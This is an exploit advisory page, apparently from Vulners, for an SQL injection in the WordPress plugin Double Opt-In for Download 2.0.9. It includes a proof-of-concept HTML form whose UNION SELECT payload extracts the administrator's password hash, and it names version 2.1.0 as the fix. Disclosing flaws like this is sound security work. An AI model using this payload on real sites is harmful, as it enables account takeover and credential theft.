Lucene search
K

WordPress Double Opt-In For Download 2.0.9 SQL Injection

🗓️ 06 Jun 2016 00:00:00Reported by Kacper SzurekType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

WordPress Double Opt-In For Download 2.0.9 SQL Injection, accessible `populate_download_edit_form()` enables unauthorized access

Code
`# Exploit Title: Double Opt-In for Download 2.0.9 Sql Injection  
# Date: 06-06-2016  
# Software Link: https://wordpress.org/plugins/double-opt-in-for-download/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# Category: webapps  
  
1. Description  
  
`$_POST['id']` is not escaped.  
  
`populate_download_edit_form()` is accessible for every registered user.  
  
http://security.szurek.pl/double-opt-in-for-download-209-sql-injection.html  
  
  
2. Proof of Concept  
  
Login as regular user.  
  
<form name="xss" action="http://wordpress-url/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">  
<input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">  
<input type="submit" value="Send">  
</form>  
  
3. Solution:  
  
Update to version 2.1.0  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation